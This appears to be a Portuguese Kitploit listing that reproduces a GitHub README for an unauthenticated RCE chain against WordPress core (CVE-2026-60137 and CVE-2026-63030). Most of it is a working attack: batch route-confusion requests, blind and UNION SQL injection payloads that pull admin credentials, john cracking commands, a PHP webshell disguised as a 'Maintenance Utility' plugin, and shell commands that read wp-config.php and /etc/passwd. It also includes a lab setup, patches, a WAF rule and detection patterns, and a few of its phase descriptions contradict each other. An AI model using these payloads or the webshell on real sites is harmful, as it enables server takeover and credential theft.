Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-60137_CVE-2026-63030 — Exploit de RCE não autenticado no WordPress que combina confusão de rota e injeção de SQL. Script automatizado, configuração de laboratório e análise detalhada de vulnerabilidade fornecidos. | Kitploit
Ferramentas/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

Exploit de RCE não autenticado no WordPress que combina confusão de rota e injeção de SQL. Script automatizado, configuração de laboratório e análise detalhada de vulnerabilidade fornecidos.

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-60137 + CVE-2026-63030 — RCE não autenticado no WordPress

Vulnerabilidade: Confusão de rota em lote REST + Injeção de SQL no WP_Query → RCE completo

CVSS v3.1: 10.0 / 10.0 — CRÍTICA | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Afetados: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Corrigidos: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

root@kitploit:~
---

## Início Rápido

### 1. Configurar o Laboratório Vulnerável

**Requisitos:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. Execute o exploit```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py

http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

root@kitploit:~
### 3. Saída Esperada```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image
image

Arquivos neste repositório

ArquivoDescrição
README.mdAnálise completa da vulnerabilidade e writeup de exploração
exploit.pyScript de exploit automatizado (acesso zero → RCE em um comando)
docker-compose.ymlAmbiente de laboratório WordPress vulnerável
chain-rce.mdDocumentação da cadeia RCE automatizada
images/Capturas de tela da exploração manual

Análise Detalhada da Vulnerabilidade

CVE-2026-60137 (combinada com CVE-2026-63030)

Vulnerabilidade: Execução Remota de Código não autenticada — Confusão de Rota em Lote REST + Injeção de SQL no WP_Query

CVSS v3.1: 10.0 / 10.0 — CRÍTICO

Vetor: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. Visão Geral

A CVE-2026-60137 é uma vulnerabilidade de RCE não autenticado no núcleo do WordPress. Ela combina dois bugs independentes em uma cadeia de exploração completa, partindo de acesso zero até o comprometimento total do servidor:

CVEBugPapel na cadeia
CVE-2026-63030Confusão de Rota em Lote RESTContorna a autenticação
CVE-2026-60137Injeção de SQL em author__not_inLeitura/escrita arbitrária no banco de dados

Versões afetadas:

  • RCE completo: WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
  • Somente SQLi (requer plugin de suporte): 6.8.0 – 6.8.5
  • Corrigido: 6.9.5, 7.0.2, 7.1-beta2+

Condições de exploração:

  • A REST API é pública (padrão do WordPress)
  • Sem cache de objetos persistente (o padrão é nenhum)
  • Pelo menos 1 post publicado (o padrão "Hello World" existe)
  • Nenhuma conta ou sessão necessária de forma alguma

→ A grande maioria das instalações do WordPress está vulnerável por padrão.

2. Terminologia

Endpoint de Lote REST (/wp-json/batch/v1)

Permite enviar várias solicitações de API REST em uma única solicitação HTTP:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

root@kitploit:~
Each sub-request is matched with its own handler, and each handler has its own **permission callback**.

### WP_Query — `author__not_in`

Core database query class. The `author__not_in` parameter accepts an array of integers, generating the SQL clause:```sql
AND post_author NOT IN (5, 12, 23)

Cada elemento passa por absint() → mantendo apenas a parte inteira.

wp_parse_url()

Wrapper para parse_url(). Ao receber uma URL inválida → retorna WP_Error.```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

root@kitploit:~
## 3. Causa raiz — Bug A: Batch Route Confusion (CVE-2026-63030)

**Arquivo:** `wp-includes/rest-api/class-wp-rest-server.php`

### Código-fonte vulnerável:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

Mecanismo:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

root@kitploit:~
### Por que `"///"` dispara o bug?

Quando o PHP `parse_url()` encontra `"///"`, ele tenta analisá-lo de acordo com a **RFC 3986** — estrutura de URL:```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

Quando recebe "///", interpreta-o como:``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

root@kitploit:~
Resultado retornado pelo PHP:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

O WordPress envolve isso em wp_parse_url() → detecta sem esquema válido, sem host válido, sem caminho significativo → retorna WP_Error.

wp_parse_url("///") retorna WP_Error (URL malformada). Esse erro faz com que a requisição seja ignorada no loop que constrói $matches, mas NÃO é ignorada no loop de despacho → o array fica dessincronizado.

4. Causa raiz — Bug B: Injeção SQL (CVE-2026-60137)

Arquivo: wp-includes/class-wp-query.php

Código-fonte vulnerável:```php

class WP_Query { public function get_posts() { global $wpdb;

root@kitploit:~
    if ( ! empty( $q['author__not_in'] ) ) {
        $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
        $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
        //                                                   ↑ INJECTION POINT
    }
}

}

root@kitploit:~
### Caminho Normal (Seguro):```
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

Controlador REST (class-wp-rest-posts-controller.php):```php $args['author__not_in'] = array_map('absint', (array)$request['author_exclude']); // "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0] // → SAFE

root@kitploit:~
### Caminho com Confusão de Rota (Vulnerável):```
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

Quando ocorre a dessincronização em lote, os parâmetros da requisição não passam pelo controlador REST → a string bruta vai diretamente para WP_Query → wp_parse_id_list() tem um bypass de caso extremo → injeção de SQL.

Payload:```

author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

root@kitploit:~
SQL gerado:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. Por que encadear os dois bugs?

CenárioResultado
Apenas Bug A (Confusão de Rota)Ignora a permissão → mas nada para injetar
Apenas Bug B (SQLi)O controlador REST sempre converte a entrada → não é possível injetar
Bug A + Bug BA confusão ignora o controlador → string bruta no SQL → RCE

Individualmente, esses dois bugs são inofensivos. Somente quando encadeados:

  • Bug A: remove a camada de sanitização (controlador REST)
  • Bug B: injeta SQL porque a sanitização foi ignorada

6. Análise da Cadeia de Ataque

Fase 1: Confusão de Rota```

POST /wp-json/batch/v1 Content-Type: application/json

{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }

root@kitploit:~
→ Response[0]: `parse_path_failed` (primer acionado)

→ Response[1]: `rest_invalid_handler` (dessincronização do handler confirmada)

### **Fase 2: Injeção SQL — Extrair Dados**

**Booleano cego :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -

Compare a resposta TRUE vs FALSE → busca binária de cada caractere.

UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -

root@kitploit:~
Fake post row containing credentials returned in the JSON response.

→ Result: successfully extracted `user_login` and `user_pass` (bcrypt hash) from `wp_users`.

### **Fase 3: Quebrar Hash → Login Admin**

O hash obtido na Fase 2 está no formato bcrypt (`$wp$2y$10$...`). Remova o prefixo `$wp$` → quebre usando john/hashcat + wordlist → obtenha a senha em texto puro → faça login em `/wp-login.php`.

**Nota:** O ponto de injeção está dentro da cláusula `WHERE` de `SELECT`. O MySQL desabilita multi-statement → UNION é somente leitura, não escrita → não é possível INSERT de um novo admin diretamente via SQLi. É necessário quebrar o hash para obter uma sessão válida.

### Fase 4: Upload de Webshell```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin

Fase 5: RCE```

GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)

root@kitploit:~
## **7. EXPLORAÇÃO**

Explorar a CVE-2026-60137 vai de **acesso zero** — sem conta, sem senha, sem sessão — a **controle total do servidor** apenas por meio de requisições HTTP.

**Requisitos:** O alvo está executando WordPress 6.9.0–6.9.4 ou 7.0.0–7.0.1 com a API REST pública (habilitada por padrão). Não é necessário fazer login ou conhecer quaisquer credenciais.

**A cadeia de exploração consiste em 5 fases:**```
Phase 1: Route Confusion      → Bypass authentication
Phase 2: SQL Injection        → Read database (username, password hash)
Phase 3: Crack-Free Admin     → Create new admin without cracking password
Phase 4: Webshell Upload      → Install backdoor via plugin upload
Phase 5: RCE                  → Execute arbitrary commands on the server

7.1 Fase 1: Confirmar a Confusão de Rota

Objetivo: Confirmar que o alvo é vulnerável — o array de handlers está dessincronizado ao enviar o caminho inicial "///".

Princípio: O endpoint de lote permite enviar várias solicitações REST em 1 única chamada HTTP. Quando wp_parse_url("///") falha, o WordPress ignora essa solicitação ao montar o array $matches, mas NÃO a ignora durante o despacho → os handlers ficam deslocados → a solicitação subsequente é executada com o callback de permissão errado → contorna a autenticação.

Enviar solicitação:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}

root@kitploit:~
**Resposta:**```
{
  "responses": [
    {"body": {"code": "parse_path_failed"}, "status": 400},
    {"body": {"code": "rest_invalid_handler"}, "status": 500}
  ]
}

Como ler:

images/image.png

RespostaCódigoSignificado
[0]parse_path_failedPrimer funciona — wp_parse_url("///") falhou
[1]rest_invalid_handlerDESSINCRONIZAÇÃO! Requisição recebeu o handler errado → bypass de autenticação

Observamos que rest_invalid_handler significa: "O WordPress percebe que o handler NÃO CORRESPONDE à requisição"

→ Ou seja, o array $matches JÁ ESTÁ DESSINCRONIZADO, o primer "///" FUNCIONOU e essa dessincronização PODE SER explorada para fazer a requisição executar com o callback de permissão DE OUTRA ROTA (uma rota que não exige autenticação) → BYPASS DE AUTENTICAÇÃO É POSSÍVEL

Ver rest_invalid_handler → Bug A confirmado.

7.2 Fase 2: Confirmar Injeção SQL

Passo 1 — VERDADEIRO vs FALSO

VERDADEIRO (OR 1=1):

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
**FALSE (AND 1=2):**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/95c08d2e43f06122b224fab9d17c713097a2f740f972da5b9d6d68e10ca4effa.png)```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

Diferença em X-WP-Total → SQLi confirmado.

Etapa 2 — Extrair nome de usuário do administrador (Booleano cego)

1º Caractere:

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → portanto, o primeiro caractere é `'a'`

Ao enumerar sequencialmente, obtemos: `user_login` = **"admin"**

#### **Passo 3 — Extrair hash de senha**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

images/image.png

images/image.png

Use a busca binária para determinar o código ASCII de cada caractere em user_pass:``` Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE) Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)

root@kitploit:~
Duas respostas opostas confirmam que o ASCII do primeiro caractere está dentro do intervalo **(30, 40]**. Continue a reduzir:```
> 35  →  TRUE
> 36  →  FALSE
→ ASCII = 36 = '$'

Continue a busca binária em cada posição → obtenha a string de prefixo do hash $wp$:

Continue usando SQL cego caractere por caractere:

PosiçãoASCIICaractereNotas
136$Prefixo do hash
2119w
3112p
436$→ $wp$ = variante bcrypt
5-20...2y$10$aJgATdlhfIFator de custo + salt

→ Hash completo: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

7.3 Fase 3: Login do Administrador

Após a Fase 2, temos:

  • user_login = admin
  • user_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

Quebrar o Hash

Os hashes do WordPress usam o formato bcrypt ($2y$10$), com um fator de custo de 10. Antes de quebrar, precisamos remover o prefixo $wp$ porque o hashcat/john só aceita bcrypt puro:```

Save the pure bcrypt part (remove $wp$ prefix)

echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt

Crack using john

john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt

root@kitploit:~
**Resultado:**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/29e2f2018d63e7bdb2c8a633cb151d0aeab28801b47c7ec270be116ec2030f89.png)

A senha **`admin123`** está na wordlist → o john a quebra com sucesso imediatamente.

→ Login realizado com sucesso em `/wp-login.php` com `admin:admin123`.

### **7.4 Fase 4: Upload de Webshell**

Neste ponto, temos uma sessão de administrador válida. O próximo objetivo é **instalar uma backdoor no servidor** para manter o acesso independentemente das credenciais.

O WordPress permite que administradores enviem plugins em formato ZIP — este é um recurso legítimo, e vamos abusar dele.

#### **Criar webshell**

Primeiro, precisamos de um arquivo PHP que execute comandos do sistema. Este arquivo será empacotado em um plugin falso para o WordPress aceitar:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    exit;
}

O token secret123 atua como uma senha — impedindo que outros acionem acidentalmente o shell.```bash mkdir shell && mv shell.php shell/ zip -r shell.zip shell/

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/bf2671815ada8d413fdb42cdd06b8b42c7a549846557a6e3ff541147010bf104.png)

Criado com sucesso.

#### **Enviar para o WordPress**

Depois de criar com sucesso o `shell.zip`, envie o arquivo zip para a seção de plugins para acioná-lo.

O WordPress extrai e coloca o arquivo em:```
/var/www/html/wp-content/plugins/shell/shell.php

O plugin aparece na lista sob o nome "Maintenance Utility" com o status Ativo → o webshell agora está pronto para ser acionado via HTTP.

images/image.png

Upload e ativação bem-sucedidos.

7.5 Fase 5: RCE

Assim, o shell está no servidor. Chame-o para executar o shell.

Confirmar RCE:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/eb3f921660da2c214487a9ccb062f173bee25b881e7ff7c95be685fbb061bf2a.png)```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Executando como o usuário www-data — o usuário do servidor web. Em seguida, aumente o impacto:

Leia o arquivo de configuração do WordPress:```

GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/3db8d0921065eb40ee3e8d305fbc365c924f7d8950921b034d521037c676a9bf.png)

 — Executa o comando para ler o arquivo `wp-config.php` via webshell — expondo todas as chaves secretas do WordPress (`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...) e as credenciais do banco de dados. Esta é a informação mais sensível de uma instalação WordPress.

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/ea90ae9a1698312588a1dd97c804f1612a8bb09889eb12aafcb3ed1e68295826.png)

*—* A resposta retorna o conteúdo de `wp-config.php` incluindo `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST` — suficiente para acesso direto ao servidor de banco de dados sem passar pelo WordPress.

#### **Ler todos os usuários do sistema:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

images/image.png

→ Confirma o acesso a nível de SO, já não restrito ao âmbito do WordPress.

Neste ponto, a cadeia de exploração está completa:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data

root@kitploit:~
### **7.6 Resumo**

| **#** | **Fase** | **Método** | **Caminho** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | Extrair nome de usuário | POST | `/?rest_route=/batch/v1` |
| 4 | Extrair hash | POST | `/?rest_route=/batch/v1` |
| 5 | Login admin | POST | `/wp-login.php` |
| 6 | Obter nonce | GET | `/wp-admin/plugin-install.php` |
| 7 | Enviar shell | POST | `/wp-admin/update.php` |
| 8 | Ativar | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |

**9 requisições. Zero credenciais iniciais. Da página de login → controle total do servidor.**

## 8. Detalhamento CVSS

| Métrica | Valor | Motivo |
| --- | --- | --- |
| Vetor de Ataque | Rede | Remoto via HTTP |
| Complexidade do Ataque | Baixa | Determinístico, não requer timing/race |
| Privilégios Necessários | Nenhum | Completamente não autenticado |
| Interação do Usuário | Nenhuma | Nenhuma ação da vítima necessária |
| Escopo | Alterado | WP → nível de SO (www-data) |
| Confidencialidade | Alta | Leitura total do banco de dados |
| Integridade | Alta | Gravação arbitrária no banco de dados, upload de arquivos |
| Disponibilidade | Alta | DROP tables, ransomware |

## 9. Impacto

### Técnico

| Camada | Impacto |
| --- | --- |
| Banco de dados | Acesso de LEITURA/GRAVAÇÃO a tudo: wp_users, wp_options, wp_posts |
| Aplicação | Criar administradores, modificar conteúdo, instalar backdoors |
| Servidor | RCE como www-data, ler wp-config.php, /etc/passwd |
| Rede | Movimentação lateral (pivot) para serviços internos via credenciais do banco de dados |

### Negócios

| Cenário | Consequências |
| --- | --- |
| Comércio eletrônico | Vazar PII (dados pessoais), roubar chaves de pagamento, injetar skimmers |
| Corporativo | Desfiguração (defacement), spam de SEO, distribuição de malware |
| Multissite | 1 exploit → comprometer toda a rede |
| SaaS (marketing WP) | Extrair variáveis de ambiente → pivot para produção |

### Dados em Risco

- `wp_users`: nome de usuário, e-mail, hash de senha
- `wp_usermeta`: PII (nome, telefone, endereço), session_tokens
- `wp_options`: credenciais do banco de dados, credenciais SMTP, chaves de API de pagamento, salts do WordPress
- `wp-config.php`: host/usuário/senha do banco de dados, chaves secretas
- `/proc/self/environ`: variáveis de ambiente

## 10. Defesa e Remediação

### 10.1 Patch (Completa)

| Versão Atual | Necessário Atualizar Para |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |

### 10.2 Correção de Código

**Bug A — Confusão de Rota:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;

// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;

Bug B — Injeção SQL:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));

// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);

root@kitploit:~
### 10.3 Mitigação Temporária

**1. Desative o endpoint de lote (mais eficaz):**```php
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/batch/v1']);
    return $endpoints;
});

2. Ativar Redis/Memcached:```bash wp plugin install redis-cache --activate wp redis enable

root@kitploit:~
→ A injeção UNION não reflete (o cache retorna dados obsoletos).

**3. Regra de WAF:**```nginx
location /wp-json/batch/ {
    if ($request_body ~* '"path"\s*:\s*"///') {
        return 403;
    }
}

10.4 Detecção

Padrões de log:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access

root@kitploit:~
**Verificação de IOC:**```bash
wp user list --role=administrator          # unfamiliar admin?
ls wp-content/mu-plugins/                  # backdoor?
wp core verify-checksums                   # core modified?
Baixar ferramenta